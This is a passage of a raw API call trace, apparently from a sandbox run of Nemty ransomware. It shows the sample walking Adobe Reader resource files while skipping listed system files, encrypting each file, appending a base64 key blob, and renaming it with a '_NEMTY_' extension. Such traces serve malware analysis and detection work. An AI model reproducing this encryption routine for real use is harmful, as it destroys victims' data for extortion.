[0216.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.263] Sleep (dwMilliseconds=0x5) [0216.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x348c5a50, dwHighDateTime=0x1d561e8)) [0216.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x348c5a50, dwHighDateTime=0x1d561e8)) [0216.276] GetLastError () returned 0x0 [0216.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.276] GetLastError () returned 0x0 [0216.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.276] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.276] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.277] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.277] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="9PkC9mrz2KBKrlm601jefYhe5reYe/3DJ8f4niBadrrbGu71Tlf/5HlsWfkMTEid\r\nI/1+1AvCLyQibZ2qT2ENvFrG3zYVxxwUXYmOco+XqB0FQDHAYEERIbtNpNguhEs9\r\n3MU15VVnyxNNPwRwpKNEyMaFCEf7RCVKkUAg0bzWhZ1dGjTPY5J/5dC4Ui4WnFKq\r\n3b/uu7YUGY6Y43JMvi3ziH1i4Z3Wcotkz2oI5Jpu2y3OvUVhzTsasNxyeFvBB2Uf\r\nk3iXT1QZBVYAyzITGpqm8/6ws0hrWFZkWzxJipbQcBJxtU8hJfQunpa0gJ1w0Ag2\r\nmfc//36KD+vcc5MlQmUNKQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.278] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27554) returned 1 [0216.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ba0) returned 0x6352c48 [0216.278] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.278] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ba0, lpOverlapped=0x0) returned 1 [0216.281] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.281] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ba0, lpOverlapped=0x0) returned 1 [0216.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.281] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ba2 [0216.281] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.281] CloseHandle (hObject=0x2e8) returned 1 [0216.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.282] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt._nemty_kgobjgd_")) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.283] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ro_RO.txt", cAlternateFileName="DIC031~1.TXT")) returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2=".") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="..") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="...") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="windows") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="rsa") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="NTDETECT.COM") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="ntldr") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="MSDOS.SYS") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="IO.SYS") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="boot.ini") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="boot.ini") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="ntuser.dat") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="desktop.ini") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="CONFIG.SYS") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="RECYCLER") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="bootmgr") returned 1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="programdata") returned -1 [0216.283] lstrcmpiW (lpString1="DisplayLanguageNames.ro_RO.txt", lpString2="appdata") returned 1 [0216.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.284] Sleep (dwMilliseconds=0x5) [0216.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x348ebbb0, dwHighDateTime=0x1d561e8)) [0216.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x348ebbb0, dwHighDateTime=0x1d561e8)) [0216.292] GetLastError () returned 0x0 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.292] GetLastError () returned 0x0 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.292] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.292] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="p14U975xpIZOa/Rm1weO3hdzgkGZUjRfPqAViAP10oUlcM2+GEusQrhpRivv95Uj\r\nsT42OYMorMLD6OoDd2qq7/FDP3bUC/JnbZpCmPafrwGq899tE0ViMMKFgq70DoL8\r\nSGEbGfZZM6Bb9H3ZSD0RFn6dLWXWrjW4RbKY3psqtlPZgbvtcnmrds5BNHHfQDjK\r\nnifqrhOSLqdGYuLfI+sGmeQUdJ6LhctVlvt/fiqLFKHd9QAWAvtGTWUR6DG58y40\r\nzak5Yyvw21aoKaYTygXPmE6KOqvupb9PMIkJ2/M+CeNd88GRps0lgG3q047bVcQG\r\nkWpuaZgpyO0iRXs9f4VrRw==\r\n", pcchString=0x653e5dc) returned 1 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.293] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27554) returned 1 [0216.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ba0) returned 0x6352c48 [0216.293] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.293] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ba0, lpOverlapped=0x0) returned 1 [0216.296] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.296] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ba0, lpOverlapped=0x0) returned 1 [0216.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.296] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ba2 [0216.296] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.296] CloseHandle (hObject=0x2e8) returned 1 [0216.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.297] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt._nemty_kgobjgd_")) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.298] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ru.txt", cAlternateFileName="DIBDC2~1.TXT")) returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2=".") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="..") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="...") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="windows") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="rsa") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="NTDETECT.COM") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="ntldr") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="MSDOS.SYS") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="IO.SYS") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="boot.ini") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="boot.ini") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="ntuser.dat") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="desktop.ini") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="CONFIG.SYS") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="RECYCLER") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", 